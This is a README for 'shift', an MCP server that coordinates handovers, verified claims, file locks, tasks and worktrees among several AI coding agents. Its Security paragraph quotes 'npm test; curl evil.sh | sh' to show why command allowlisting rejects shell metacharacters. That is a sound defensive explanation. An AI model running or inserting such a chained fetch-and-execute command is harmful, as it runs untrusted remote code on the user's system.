shift
Provides per-agent git worktrees and includes git range information in handovers.
This server does not currently have a deployable release on Glama. Follow the repository's setup instructions to install and configure it for your MCP client, including any required credentials and local dependencies.
An agent ends its shift with a handover: what it did, as separate claims with evidence. The next
agent verifies those claims before trusting them; claims that carry a command are checked by
running it. Work is split into tasks on a shared board, files are locked while an agent
edits them, and agents leave notes (decisions, warnings, questions) for each other and for you.
Old history is compacted into a rolling project summary, and every agent builds a track
record of how often its claims hold up. Several sessions of the same AI (two Claude Code windows,
two agy terminals) are told apart automatically.
Everything is plain files in .shift/ inside your project. No daemon, no database, no account.
Every agent talks to it through one MCP server.
■ /shift:init set up a project ■ /shift:handover hand work over with claims
■ /shift:plan split work into tasks ■ /shift:review verify a pending handover
■ /shift:status what is waiting for you ■ /shift:ui open the dashboardContents
Related MCP server: Context Cockpit
Why
When you switch between AI agents in one project, each new agent starts blind. It does not know what the previous one did, what it left unfinished, what it decided, or what it got wrong. You end up re-explaining context, and mistakes pass silently from one agent to the next.
When agents run in parallel it gets worse: two agents edit the same file and overwrite each other.
shift fixes both:
Problem | shift |
New agent has no context | Handover with goal, done, not done, next steps, risks, git range |
"Done" is just a claim | Each claim is checked by the next agent: |
Decisions get re-litigated |
|
Agents cannot talk | Addressed notes: questions, answers, warnings |
Parallel agents collide | Path locks: taken automatically on edit in Claude Code, or claimed up front |
History grows without bound | Compaction folds old handovers and notes into |
Nobody knows who does what next | Task board with owners, status and dependencies |
Some agents over-claim | Per-agent dispute rate from all reviews |
A crashed agent keeps files locked | Presence: auto locks of silent agents are dropped |
Parallel agents step on each other's working tree | One git worktree per agent, sharing one |
You cannot see what is going on |
|
How it works
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ Claude Code │ │ Codex │ │ Gemini CLI │ ... any MCP client
│ + plugin │ │ │ │ │
└──────┬───────┘ └──────┬───────┘ └──────┬───────┘
│ MCP (stdio) │ │
┌──────▼──────────────────▼──────────────────▼───────┐
│ shiftctl mcp (one process per agent) │
└──────────────────────────┬─────────────────────────┘
│ atomic file writes + mutex
┌──────────▼──────────┐
│ <project>/.shift/ │ handovers, reviews, notes, locks, log
└─────────────────────┘Protocol first. The files are the source of truth. Any agent, or you, can read them.
MCP is the common interface. Each agent starts its own
shiftctl mcpprocess. They coordinate through the files only.Safe under concurrency. Writes go to a temp file and are renamed into place. Read-modify-write steps take a cross-process mutex (
.shift/.mutex).Agent adapters are thin. The Claude Code plugin adds hooks and commands on top of the same MCP tools. Other agents get the same tools plus an instructions block.
The work plan
shift organizes multi-agent work as one loop. Every step is a tool call any agent can make, and every step leaves a record the next agent sees at session start.
┌────────┐ ┌────────┐ ┌────────┐ ┌──────────┐ ┌────────┐
│ PLAN │ ─► │ TAKE │ ─► │ WORK │ ─► │ HANDOVER │ ─► │ REVIEW │
└────────┘ └────────┘ └────────┘ └──────────┘ └───┬────┘
/shift:plan task_take files are claims with │
tasks with owner + locked while evidence, git ├─ verified ─► task done
depends_on doing you edit range, tasks └─ disputed ─► task back to doingPlan.
/shift:plan <feature>splits the work into tasks with dependencies, sized so one agent can finish and verify each one.Take. An agent picks a ready task (
shift_task_take). Nobody else can take it; tasks whose dependencies are unfinished cannot be taken.Work. Files are locked for the agent while it edits them. Decisions and hazards go into notes.
Handover. The agent ends with
shift_handover_create: one claim per finished item, with evidence and, when possible, a command that proves it. Its locks are released.Review. The next agent runs the claim commands (
shift_verify), checks the rest, and records a verdict per claim. A disputed claim sends the task back todoing, and the author sees it at their next session start.
The plan and its progress are on the dashboard and in shift_status.
Works with
shift is one MCP server, so every MCP client gets the same tools. Hosts with hooks also get the session-start context and lock enforcement.
Agent |
| Context at session start | Edit lock enforcement | Setup |
Claude Code | ■ | ■ | ■ | plugin: |
Codex | ■ | ■ | ■ ( | MCP config + |
Antigravity CLI ( | ■ | ■ | ■ ( | plugin: |
Gemini CLI (legacy) | ■ | ■ | ■ ( | MCP config + |
Cursor | ■ | via rules | □ | MCP config + rules file |
Any MCP client | ■ | via instructions | □ |
|
■ supported · □ not available: the agent follows the protocol from its instructions file instead.
Install
Requirements: Node.js 18 or newer, and git (optional, but needed for automatic git data in handovers).
The paths below use /path/to/shift/dist/shiftctl.mjs. If you installed the Claude Code plugin,
use ~/.claude/plugins/marketplaces/shift/dist/shiftctl.mjs (as an absolute path); otherwise clone
this repository somewhere permanent. The prebuilt bundle is all you need at runtime; no
npm install is required.
Claude Code (plugin)
In Claude Code:
/plugin marketplace add tahayigitmelek/shift
/plugin install shift@shift(or /plugin marketplace add /path/to/shift for a local clone)
Restart Claude Code. You get:
the
shift_*MCP tools,a
SessionStarthook that shows pending handovers, messages and locks,a
PreToolUsehook that blocks edits to files another agent has locked, and locks the files Claude edits (auto-claim),a
SessionEndhook that releases those automatic locks,an opt-in
Stophook that reminds Claude to write a handover,the commands
/shift:init,/shift:handover,/shift:review,/shift:status,/shift:plan,/shift:tasksand/shift:ui,the
shift-protocolskill, which tells Claude when to use each tool.
Codex
Codex setup is manual; there is no Codex plugin, so no slash commands: ask Codex in plain words ("open the shift dashboard", "check shift status") and it calls the matching tool.
Add the server to ~/.codex/config.toml. The launcher in antigravity/scripts/shift finds node
on its own, so the config survives Node upgrades (with the Claude Code plugin installed it is at
~/.claude/plugins/marketplaces/shift/antigravity/scripts/shift):
[mcp_servers.shift]
command = "sh"
args = ["/path/to/shift/antigravity/scripts/shift", "mcp"]
[mcp_servers.shift.env]
SHIFT_AGENT = "codex"Check it with codex mcp list.
Add the protocol to the project's AGENTS.md (see Quick start).
Optional, to get the session start context and lock enforcement in Codex too:
shiftctl hooks-config codexprints valid JSON for hooks.json (SessionStart, a PreToolUse hook on apply_patch, SessionEnd).
Merge its hooks object with existing hooks, then save it as .codex/hooks.json in the project or
~/.codex/hooks.json. Project-local hooks require a trusted project, and you must review and trust
the hook with /hooks before it runs. Session context also loads after a fork. The lock hook reads
paths from patch text (*** Update File:, *** Add File:, *** Delete File:, *** Move to:);
in a project that uses shift with locks on, it denies patches when it cannot identify their paths or
complete the lock check (fail closed). In projects without .shift/, or with lock_mode: off, it
never blocks anything. It does not intercept shell-based writes, so use shift_claim before editing
through a shell.
Codex has no "ask" decision yet, so lock_mode: ask acts as deny there.
Codex shows these hooks as "unnamed hook": its hook format has no name field. Each one carries a
statusMessage ("shift: checking file locks", ...) that Codex shows while it runs. Codex runs the
session-start hook with the first message of a session, so an idle new session is not "active" yet.
Antigravity CLI (plugin)
Google's successor to Gemini CLI. Install the plugin:
agy plugin install https://github.com/tahayigitmelek/shift/tree/main/antigravityThen run /skills reload in agy. You get the MCP tools, the session-start context, lock
enforcement on write_to_file, replace_file_content and multi_replace_file_content, and these
slash commands, named like in Claude Code (Antigravity turns each plugin skill into /<plugin>:<skill>):
/shift:init /shift:status /shift:plan /shift:tasks /shift:handover /shift:review /shift:uiThe plugin finds node itself (nvm, Homebrew, Volta, fnm), so it also works from the Antigravity app,
which does not inherit your shell's PATH. Update it with agy plugin install again after a new
release.
Without the plugin, add the server to ~/.gemini/config/mcp_config.json (or
.agents/mcp_config.json in the project):
{
"mcpServers": {
"shift": {
"command": "/absolute/path/to/node",
"args": ["/path/to/shift/dist/shiftctl.mjs", "mcp"],
"env": { "SHIFT_AGENT": "antigravity" }
}
}
}Use the absolute path of node (which node): desktop and IDE hosts do not inherit your shell's
PATH, so a bare node times out on startup with nvm or Homebrew installs. SHIFT_AGENT keeps the
MCP tools and the hooks under the same agent name.
For session context and lock enforcement, merge the output of shiftctl hooks-config antigravity
into ~/.gemini/config/hooks.json (or .agents/hooks.json) and check it with /hooks in agy.
Antigravity requires a decision from every PreToolUse hook, so shift answers allow when a file is
free and deny (or ask) when another agent holds it. Antigravity has no session-end event, so its
automatic locks end through their TTL, presence expiry or a handover.
Gemini CLI (legacy)
Gemini CLI was replaced by Antigravity CLI in June 2026. Google sign-in for individuals no longer works in Gemini CLI ("This client is no longer supported for Gemini Code Assist for individuals"). Use a Gemini API key, or switch to Antigravity CLI above.
Add the server to ~/.gemini/settings.json (or .gemini/settings.json in the project):
{
"mcpServers": {
"shift": { "command": "node", "args": ["/path/to/shift/dist/shiftctl.mjs", "mcp"] }
}
}Add the protocol to GEMINI.md.
Optional hooks: shiftctl hooks-config gemini prints a block for .gemini/settings.json with
SessionStart, a BeforeTool hook on write_file|replace and SessionEnd. Both hooks-config commands
print plain JSON on stdout (the how-to goes to stderr), so shiftctl hooks-config codex > hooks.json
works as is.
Google's docs say Gemini CLI was replaced by Antigravity CLI in June 2026. The hook format above follows the Gemini CLI hooks reference; check it against the version you run.
Cursor
Add the server to .cursor/mcp.json in the project (or ~/.cursor/mcp.json):
{
"mcpServers": {
"shift": { "command": "node", "args": ["/path/to/shift/dist/shiftctl.mjs", "mcp"] }
}
}Paste the output of shiftctl snippet into a rule file, for example .cursor/rules/shift.mdc.
Any other MCP client
Run node /path/to/shift/dist/shiftctl.mjs mcp as a stdio MCP server. If the host starts it in the
project directory, nothing else is needed. If it starts it somewhere else (desktop apps often use
/ or your home directory), shift asks the client for its workspace through MCP roots; set
SHIFT_ROOT=/path/to/project for hosts that do not support roots. Always give the host an absolute
path to node. Put the protocol block (shiftctl snippet) wherever that agent reads its instructions.
Tip: create an alias so you can type
shiftctldirectly:alias shiftctl="node /path/to/shift/dist/shiftctl.mjs". With the Claude Code plugin installed, the bundle is at~/.claude/plugins/marketplaces/shift/dist/shiftctl.mjs. The command is not calledshiftbecauseshiftis a shell builtin.
Quick start
In Claude Code, inside your project:
/shift:initThis creates .shift/ and adds the protocol block to AGENTS.md (read by Codex, Cursor and
others), plus GEMINI.md if it exists. Name other files to use them instead:
/shift:init AGENTS.md GEMINI.md .cursor/rules/shift.mdc. It is safe to run twice.
Without Claude Code, ask any agent to call the shift_init tool, or run
shiftctl init --agents-md AGENTS.md.
You can skip init: the first write from any agent (a note, task or handover) creates .shift/ too,
but only init adds the protocol block for the other agents.
Check the state at any time:
shiftctl statusDashboard everywhere
The dashboard is a single HTML file, .shift/dashboard.html, so every agent and every terminal
can open it:
From | How |
Claude Code |
|
Codex, Gemini CLI, Cursor, any MCP client | ask the agent to "open the shift dashboard": it calls the |
Terminal |
|
There is one dashboard per project. Claude, Codex, Gemini and every worktree all write the same file, so you never end up with one page per agent:
Live. Once the dashboard has been opened, every change any agent makes (a handover, review, task, note, lock, or just a heartbeat) re-renders it, and the page reloads itself every 5 seconds. The header shows when the data last changed ("live · updated 12s ago"), and the active-agents card names who is active right now, computed from the clock. Open cards, the filter and the scroll position survive the reload; it never reloads while you type in the filter.
One tab. If two agents are asked to open it at the same time, only the first opens a browser tab; the second answers that the same live page is already open. Pass
force: true(shiftctl ui --open --force) if you closed the tab.Auto-stop & manual stop. When opened as a live UI server (
http://127.0.0.1:<port>/), it runs in the background so closing an agent does not drop your browser view. It automatically shuts down after 10 minutes with no active agents or UI actions, or you can stop it immediately with the stop button in the header orshiftctl ui --stop. All state stays in.shift/JSON/Markdown files, so nothing is lost when you reopen it.
It works offline, adapts to phone width, and has a filter (press /) and status chips for
handovers. Click a command card to copy it.
Workflows
Sequential: one agent hands over to the next
1. Claude finishes for the day. In Claude Code:
/shift:handover codexClaude re-runs the tests, then calls shift_handover_create:
{
"to": "codex",
"goal": "Add email/password login to the web app",
"done": [
{ "text": "Login form renders at /login", "evidence": "npm test -- login.spec.ts: 4 passed", "cmd": "npm test -- login.spec.ts" },
{ "text": "POST /api/login returns a session cookie", "evidence": "src/api/login.ts:12-48, commit 3f2a91c" }
],
"not_done": ["Password reset flow: not started"],
"next_steps": ["Add rate limiting to /api/login", "Write the reset flow"],
"risks": ["Session secret is read from .env; missing in CI"],
"verification": ["npm test: 31 passed, 0 failed", "npm run lint: clean"]
}shift adds the git branch, HEAD, the commit range since the previous handover, and the changed files, and releases the locks Claude held.
2. Codex starts. It calls shift_status (as AGENTS.md tells it to) and sees:
Handovers waiting for you (ack, then review each claim):
- ho-20261128-173012402-9c1e [open] claude → codex: Add email/password login to the web app3. Codex takes over and verifies. shift_handover_ack, then shift_verify. With
verify_allow: ["npm test"] in the config, the first claim's command runs automatically:
0. Login form renders at /login
- PASS `npm test -- login.spec.ts`
1. POST /api/login returns a session cookie
- no commandCodex checks the second claim by reading the diff, then calls shift_review:
{
"handover_id": "ho-20261128-173012402-9c1e",
"verdicts": [
{ "claim": 0, "verdict": "confirmed", "note": "4 passed locally" },
{ "claim": 1, "verdict": "disputed", "note": "Cookie lacks HttpOnly; src/api/login.ts:41" }
],
"summary": "Form OK, cookie flags need fixing before rate limiting."
}The handover becomes disputed.
4. Claude comes back. Its SessionStart hook shows:
Your handovers that were disputed / only partly verified:
- ho-20261128-173012402-9c1e [disputed] claude → codex: Add email/password login to the web appNothing slipped through: the cookie bug is on record, with the file and line.
Parallel: two agents at the same time
Claude refactors authentication while Codex writes docs.
In Claude Code you do not have to do anything: the first edit of a file locks it for Claude (auto-claim, 30 minutes, renewed on every edit), and the lock is released when the session ends or Claude writes a handover. To reserve a whole area up front, or for agents without hooks, claim explicitly:
Claude claims what it will touch:
shift_claim { "paths": ["src/auth"], "reason": "auth refactor" }Codex claims its area:
shift_claim { "paths": ["docs"], "reason": "API docs" }Codex later tries to claim
src/auth/session.ts. The claim fails and names the holder:Not claimed. Held by other agents: src/auth — claude: auth refactor (until 2026-11-28T19:30:00.000Z)If an agent tries to edit a locked file anyway, the Claude Code hook stops it:
shift: src/auth/session.ts is locked by codex (auth refactor, until ...). Coordinate with shift_note to=codex, or wait for shift_release.When done, each agent writes a handover, which releases its locks (or calls
shift_release).
Locks expire after lock_ttl_minutes (default 120), so a crashed agent cannot block a path forever.
Two sessions of the same AI (two Claude Code windows) work the same way: each session is told
apart automatically, locks between them are enforced, and the dashboard lists them with a short
session id suffix such as claude #1471 and claude #2804. See Agent identity.
Parallel in separate worktrees
Locks stop two agents from editing the same file at once, but they still share one working tree: one agent's half-finished change can break the other's test run. For real isolation, give each agent its own git worktree:
shiftctl worktree add codex # ../app.worktrees/codex on new branch shift/codex
shiftctl worktree add gemini # ../app.worktrees/gemini on branch shift/gemini
cd ../app.worktrees/codex && SHIFT_AGENT=codex codexAll worktrees share the main checkout's .shift/, so handovers, tasks, notes and the dashboard are
the same everywhere. Each handover records the branch and worktree it came from and the commits made
since the previous handover on that branch. Merge with plain git when a branch is reviewed:
git merge shift/codex
shiftctl worktree remove codex # the branch is keptSplitting work into tasks
You have Claude, Codex and Gemini available and a feature to build. In Claude Code:
/shift:plan user accounts: signup, login, password reset, profile pageClaude reads the code and adds tasks with shift_task_add:
tk-20261128-100001120-a1b2 [todo] users table + migration
tk-20261128-100001180-c3d4 [todo] signup endpoint (waits on tk-20261128-100001120-a1b2)
tk-20261128-100001240-e5f6 [todo] login endpoint (waits on tk-20261128-100001120-a1b2)
tk-20261128-100001300-0a1b [todo] profile page UIEach agent starts its session, sees "Tasks ready to take" in shift_status, and calls
shift_task_take. Taking fails if another agent already owns the task or its dependencies are not
done, so two agents never start the same task. When the migration is done, both endpoint tasks
become ready.
Agents finish with shift_handover_create { ..., "tasks": ["tk-..."] } and set the task to done
(or back to todo, or blocked with a note). The handover is linked in the task's history.
Asking another agent a question
shift_note { "kind": "question", "to": "claude", "text": "Why bcrypt instead of argon2?", "ref": "ho-20261128-173012402-9c1e" }Claude sees "Unread messages for you" at its next session start, reads it with shift_inbox, and
replies:
shift_note { "kind": "answer", "to": "codex", "text": "argon2 needs a native build that fails on our CI image.", "ref": "nt-20261128-180501230-4b2d" }If the answer is a lasting choice, it should also be a decision note so every agent sees it.
Concepts
Handovers and claims
A handover is the end-of-shift report. Its fields:
Field | Meaning |
| Target agent id, or |
| The overall task |
| List of claims: |
| Unfinished or blocked work, and why |
| Concrete next actions |
| Fragile spots, assumptions, gotchas |
| Commands run and their results |
| Files worth reading; files changed in git are added automatically |
| Added automatically: |
| Task ids this handover reports on; the handover is linked into each task's history |
| Input only: keep your locks after the handover (default: release them all) |
git.base is the HEAD recorded by the previous handover on the same branch, so base..head is
exactly the range of commits made during this shift; git.commits lists them (git log --oneline,
up to 30). git.files is the union of files changed in that range and
uncommitted files. Files in .shift/ are excluded.
A good claim is small and checkable by someone else. "Login works" is a bad claim. "POST
/api/login returns 200 and a session cookie; npm test -- login.spec.ts passes" is a good one.
Reviews and verdicts
Lifecycle:
open ──ack──▶ acked ──review──▶ verified | partial | disputed
└─ a newer handover from the same session to the same target ──▶ supersededack marks the handover as taken, so another agent does not also start on it. Only one agent can ack a handover; acking twice by the same agent is a no-op. You cannot ack your own.
review records a verdict per claim:
confirmed: you reproduced the evidence,disputed: it is false or broken (say what you saw innote),unverified: you could not check it (say why).
Claims without a verdict count as
unverified. The handover status becomes:verifiedif every claim is confirmed,disputedif any claim is disputed,partialotherwise.
A review without a prior ack also acks the handover. A handover can be reviewed more than once; all reviews are kept, and the latest sets the status.
Notes and messages
shift_note creates a note with a kind:
kind | Use for |
| General information |
| A choice other agents must respect. The last 5 are shown at every session start |
| A hazard: "do not run the migration on prod data" |
| Ask an agent something (set |
| Reply (set |
Set to to an agent id to make it a message, or to: "all" to message everyone. Messages appear
as unread in shift_status and the session start context until the recipient calls shift_inbox.
Notes without to are shared notes that anyone can list with shift_notes.
Executable evidence
A claim can carry a cmd: a shell command, run from the project root, whose exit code proves the
claim (0 = true). For example npm test -- login.spec.ts or node scripts/check-migrations.js.
shift_verify { handover_id, record? } runs the claim commands and reports PASS / FAIL / TIMEOUT
with the tail of the output:
record: false(default): returns the results and suggested verdicts, so the agent can combine them with its own checks inshift_review.record: true: writes the review directly. Exit 0 =confirmed, non-zero or timeout =disputed, not run or no command =unverified.
Security. The commands come from another agent's handover, and the MCP server runs them outside your agent's own permission system. So by default
shift_verifyruns nothing; it lists the commands, and the agent runs them with its own shell tool, where your normal approval rules apply. A command runs automatically only if it starts with a prefix inverify_allowand contains no shell metacharacters (; & | $ ` < > ( ) { } \or newlines), sonpm test; curl evil.sh | shnever matchesnpm test. Allowlistingnpm teststill means trusting whatever thetestscript inpackage.jsondoes.
From the terminal, shiftctl verify <id> shows the commands, asks for confirmation, then runs all of
them. Add --record to save the result as a review, --yes to skip the prompt. The exit code is 2
if any command failed.
Locks
Paths are relative to the project root. A lock can be a file or a directory.
A lock on a directory covers everything under it. Claiming a directory conflicts with any lock inside it too.
A claim is all or nothing: if any path conflicts, nothing is claimed.
Re-claiming your own path renews it.
Auto locks. With
auto_claim: true(default), the Claude Code edit hook locks each file the agent edits, forauto_claim_ttl_minutes(default 30), renewed on every edit. Auto locks are markedauto: trueand released at session end. An explicit claim on the same path replaces the auto lock and survives session end.shift_handover_createreleases all of your locks unlesskeep_locks: true.Locks expire after
ttl_minutes(default fromlock_ttl_minutes). Expired locks are dropped on read.shift_releasewith no paths releases all of your locks.Paths outside the project are rejected.
Locks are per worktree. Agents in different git worktrees edit separate copies, so their locks never conflict; their changes meet at merge time. Inside one worktree, locks work as above.
Locks are advisory for the MCP tools. In Claude Code, the PreToolUse hook enforces them on
Edit, Write, MultiEdit and NotebookEdit. Agents without hooks rely on the instructions
block.
Compaction
Without care, .shift/ grows with every handover and the session start context with it.
Compaction folds old items into a rolling summary, .shift/SUMMARY.md, which is shown at the top of
shift_status and of the Claude Code session start context (first 3000 characters).
It takes two steps, because summarizing needs a model and the server has none:
shift_compact { keep_last? }returns the current summary and the items that can be folded in: reviewed handovers (verified,partial,disputed) with their reviews, and settled notes. The newestkeep_last(default 5) of each stay live.The agent writes an updated summary and calls
shift_compact_commit { summary, ids }. The summary replacesSUMMARY.md, and the items move to.shift/archive/.
Never archived: open or acked handovers, decision notes (they stay binding and listed), and
messages the recipient has not read. Archived handovers and reviews can still be opened by id with
shift_handover_get.
When the number of foldable items reaches compact_threshold (default 20), shift_status suggests
running compaction.
Tasks
The board lives in .shift/tasks/, one file per task.
Field | Meaning |
| What to do, and how to tell it is done |
|
|
| The agent working on it |
| Task ids that must be |
| Handovers that reported on it |
| Every change, with time and agent |
Rules:
shift_task_takemakes you the owner and setsdoing. It fails if another agent owns the task or a dependency is not finished;force: trueoverrides both and records "took over from X".shift_task_updatewithstatus: "todo"puts the task back on the board, unowned.A ready task is
todo, unowned, with every dependency finished.shift_statusshows the first five;shift_task_list { scope: "ready" }shows all.Unknown dependencies, self-dependencies and cycles are rejected.
Disputes reopen work. When a review disputes a handover, every task that handover reported on and that is marked
donegoes back todoing(owner kept, or the handover author), with the review in its history.blockedandtodotasks are left alone.
Presence
Every MCP tool call and every Claude Code hook call is a heartbeat, stored in
.shift/presence.json (written at most every 30 seconds per agent).
shift_statuslists the other agents seen in the lastpresence_active_minutes(default 10).If an agent has been silent for
presence_stale_minutes(default 20), its auto locks no longer count, so a crashed or closed agent does not block files until the TTL runs out. Explicit claims are kept until they expire. If the agent comes back, its unexpired auto locks count again.
Track record
shift_stats (or shiftctl stats) shows, per agent, over all handovers including archived ones:
| agent | handovers | reviewed | claims | confirmed | disputed | unverified | dispute rate | reviews given | disputes raised |
|--------|-----------|----------|--------|-----------|----------|------------|--------------|---------------|-----------------|
| claude | 12 | 11 | 41 | 37 | 2 | 2 | 5% | 6 | 3 |
| codex | 8 | 8 | 25 | 18 | 5 | 2 | 22% | 10 | 2 |Each handover counts by its latest review. The dispute rate is disputed / (confirmed + disputed),
so unverified claims do not dilute it. Use it to decide how closely to check an agent's claims.
Automatic handovers
You should not have to type /shift:handover. Agents are told to hand over on their own, and shift
backs that up at the end of every turn:
The turn-end hook fingerprints the working tree (HEAD, status, diff;
.shift/excluded) and compares it with the newest handover on the branch and with the state the session started from. Deletions and shell edits count, not just edit tools.If nothing changed, nothing happens. If the project changed and nobody handed over:
Claude Code (
auto_handover: ask, the default): the turn does not end yet. Claude is told what changed and what was deleted, and writes the handover itself, with claims, without asking you.Codex, Antigravity, Gemini CLI, or Claude declining: shift records a draft handover from git: changed and deleted files, your last prompt as the goal, no claims, and a note that nothing in it was verified. It is marked
autoon the dashboard.
Session end does the same check, so work left at the end of a session is never lost.
Limits on noise:
Each working-tree state is handled once per session.
A session that handed over less than
handover_interval_minutes(default 15) ago is not asked again; session end catches whatever is left.An unclaimed handover is superseded by the next one from the same session to the same target, so the pending list holds one current handover per session, not a pile of snapshots.
A session is never blamed for changes that were there before it started (the baseline is reset on a new session, kept across resume and compaction).
auto_handover: draft records drafts everywhere without asking; off (or manual) disables
automatic turn-end and session-end handovers and instructs agents at SessionStart not to call
shift_handover_create automatically, so you only create handovers explicitly when requested or via
shiftctl handover "...". Toggle anytime with shiftctl auto-handover off|ask|draft
(or manual|auto), the shift_auto_handover MCP tool, or SHIFT_AUTO_HANDOVER=off in the environment.
Without git, shift cannot see changes and stays silent. The last prompt (first 300 characters) is kept in
presence.json (git-ignored) and becomes the goal of a draft, so it ends up in .shift/handovers/.
Worktrees
shiftctl worktree add NAME [--base REF] create ../<repo>.worktrees/NAME on new branch shift/NAME
shiftctl worktree list all worktrees; "shift" marks the ones shift created
shiftctl worktree remove NAME [--force] remove the worktree, keep the branchThe location comes from worktree_dir (default ../{repo}.worktrees, where {repo} is the project
folder name). The worktrees sit next to the project, not inside it, so tools that scan the project
do not walk into them. Names may contain letters, digits, ., _ and -.
From inside a linked worktree, shift finds the shared .shift/ through git's common directory, so
the MCP server and the hooks need no extra setup there.
Dashboard
shiftctl ui --open # write .shift/dashboard.html and open it
shiftctl ui --watch 5 --open # keep regenerating every 5 s; the page reloads itselfOne self-contained HTML file in the Shift design system: header with live/snapshot
status and a read-only settings panel, counters, project summary, handovers with each claim's
verdict (filter with /, status chips), the task board, agents with their dispute rate and last
heartbeat, locks, notes, recent activity and copyable command cards. It is responsive down to phone
width and keyboard accessible. All agent-written text is escaped. --out FILE writes somewhere
else. dashboard.html is git-ignored. Agents open it with the shift_dashboard tool.
Notifications
With notify: true, shift sends a desktop notification for:
a new handover,
a review that disputes a handover,
a reopened task,
questionandwarningnotes,any note addressed to
humanorall.
macOS uses osascript, Linux notify-send. Set notify_command to use something else; the title
and message are appended as two arguments, never pasted into a shell string. For example, push to
your phone with ntfy:
notify: true
notify_command: [ntfy, publish, my-shift-topic]Talking to agents yourself
You are an agent too, named human by default:
shiftctl note "Use pnpm, not npm" --kind decision
shiftctl note "Please look at the flaky login test" --to codex
shiftctl inbox # messages agents sent to "human"
shiftctl status # the overview from your point of view
shiftctl verify <id> --record # review a handover by running its claim commandsAgents can write to you with shift_note { "to": "human", ... }; combine with notify: true to
get those as notifications.
Agent identity
Each agent needs a stable name, so shift knows whose handover and whose lock is whose. The name is resolved in this order:
the
SHIFT_AGENTenvironment variable,the MCP client name reported when the agent connects, normalized:
Client name
Agent id
claude-codeclaudecodex-mcp-clientcodexgemini-cli-mcp-clientgeminianything with
cursor,copilot,windsurf,cline,zedthat word
anything else
lowercased,
-cli/-mcp-clientsuffix removedunknown.
The hooks use the same rules, so the hooks and the MCP server always agree on the name.
Antigravity reports as antigravity (the plugin also sets SHIFT_AGENT=antigravity).
Sessions. Several sessions of the same AI share the agent name but are separate actors. shift
walks up the process tree to the nearest agent host process (claude, codex, agy, gemini,
...) and uses its PID as the session id, for example claude#1471. The MCP server and the hooks of
one session sit under the same host process, so both find the same id without any setup.
What | Keyed by |
Locks, presence, auto-lock release | session ( |
"Your own handover" (cannot ack or review it), unread notes | session: another Claude session can take over your handover |
Handover addressing ( | agent name ( |
The dashboard and shift_status label sessions with a short session id suffix (for example
claude #1471, claude #2804) when there are several, and
a lock held by a sibling reads "claude (another session)". Locks written without a session (older
versions, Windows, where there is no ps) count as belonging to every session of that agent.
Override the session id with SHIFT_INSTANCE (empty disables detection). SHIFT_AGENT still works
for custom names.
When the same session on the same branch writes a newer handover before anyone takes the previous
open one, the older open handover is automatically marked superseded (and at most two older
superseded handovers are kept on disk so .shift/handovers/ does not grow unbounded).
MCP tool reference
Tool | Arguments | Returns |
|
| What was created or changed |
|
| Writes the shared live |
| none | Overview: project summary, active agents, handovers waiting for you, your disputed handovers, unread messages, your tasks, ready tasks, locks, recent decisions, recent activity |
|
| The new handover, rendered; your locks are released |
|
| One line per handover |
|
| Full handover with numbered claims, plus its reviews |
|
| The handover, now |
|
| Closes an open or acked handover ( |
|
| Deletes a handover by id, or purges all |
|
| The review and the resulting status |
|
| PASS / FAIL / NOT RUN per claim command; suggested verdicts, or the recorded review |
|
| The note id |
| none | Unread messages for you; marks them read |
|
| One line per note, newest last |
|
| Claimed locks, or an error naming the holders |
|
| Released paths |
|
|
|
|
| Current summary, items to fold in, and their ids |
|
| Saves |
|
| The new task id |
|
| One line per task, with unmet dependencies |
|
| Full task with history and linked handovers |
|
| The task, now |
|
| The updated task |
| none | Per-agent track record table |
|
| Current or updated |
Errors come back as MCP tool errors (isError: true) with a readable message, for example
shift: cannot ack your own handover or shift: claim index 5 out of range (handover has 2 claims).
Claude Code plugin details
Part | What it does |
| Starts |
| Injects the protocol summary and |
| If the target file is locked by another agent, returns |
| Records a draft handover if work is left undescribed, then releases Claude's automatic locks; explicit claims stay |
| Heartbeat, so a session that only reads or runs commands still shows as active |
| Heartbeat, and the automatic handover check: tells Claude to hand over when the project changed |
| Creates |
| Writes and opens the dashboard |
| Re-checks the work, releases locks, writes a handover with evidence-backed claims |
| Reads and acks a handover, runs |
| Shows |
| Splits the work into tasks with dependencies, without starting any |
| Shows open and ready tasks |
| When to use which tool, and the rules: verify, don't trust; respect locks; keep what matters when compacting |
Hooks never break your session: on any internal error they print a message to stderr and exit 0.
Antigravity plugin
The antigravity/ folder is generated by npm run build from the same commands and skills, so the
two plugins never drift apart.
Part | What it does |
| Name, version, logo |
| Starts the MCP server through |
|
|
| One skill per command; Antigravity shows them as |
| Launcher that finds |
CLI reference
shiftctl mcp Start the MCP server on stdio
shiftctl init [--agents-md FILE] Create .shift/; optionally append the protocol block to FILE
shiftctl status [--agent NAME] Show the overview from NAME's point of view (default: human)
shiftctl stats Per-agent track record
shiftctl ui [--open] [--serve] [--stop] [--port N] [--watch [S]] [--out FILE] (or /shift:ui, shift_dashboard)
Interactive dashboard (edit settings, close/delete handovers, purge superseded, stop server)
shiftctl worktree add NAME [--base REF] New worktree on branch shift/NAME, sharing .shift/
shiftctl worktree list | remove NAME [--force]
shiftctl note "TEXT" [--to A] [--kind K] [--ref ID]
Leave a note or message as "human"
shiftctl inbox Read messages sent to "human"
shiftctl hooks-config antigravity|codex|gemini
Print the hooks block for that agent's config (JSON on stdout)
shiftctl snippet Print the protocol block for AGENTS.md / GEMINI.md / rules
shiftctl verify ID [--yes] [--record] [--agent NAME]
Run a handover's claim commands (asks first unless --yes);
--record saves a review by NAME (default human); exit 2 on failure
shiftctl handover [GOAL] [--to AGENT|all] [--done TEXT...] [--not-done TEXT...] [--next TEXT...] [--risk TEXT...] [--tasks ID,...] [--keep-locks] [--agent NAME]
Create a manual handover (useful when auto_handover is off)
shiftctl handover-close ID [--agent NAME]
Close an open or acked handover
shiftctl handover-delete ID Delete a handover by id
shiftctl handover-purge Delete all superseded handovers
shiftctl auto-handover [ask|draft|off|auto|manual]
Inspect or toggle automatic turn/session-end handovers
shiftctl hook session-start --agent N [--format claude|gemini|codex]
shiftctl hook pre-tool-use --agent N [--format claude|gemini|codex]
shiftctl hook session-end --agent N Hook entry point (reads hook JSON on stdin)
shiftctl hook stop --agent N (Claude Code only)
All hook entry points read the host's hook JSON on stdin and always exit 0.
shiftctl helpEnvironment variables:
Variable | Effect |
| Overrides the agent name |
| Overrides the project root |
| Set by Claude Code; used as the starting point to find the root |
| Overrides the session id (host PID); empty turns session detection off |
| Overrides |
The project root is SHIFT_ROOT, otherwise the nearest ancestor directory that contains
.shift/, otherwise the git top level, otherwise the current directory.
Configuration
.shift/config.yml:
lock_mode: deny
lock_ttl_minutes: 120
auto_claim: true
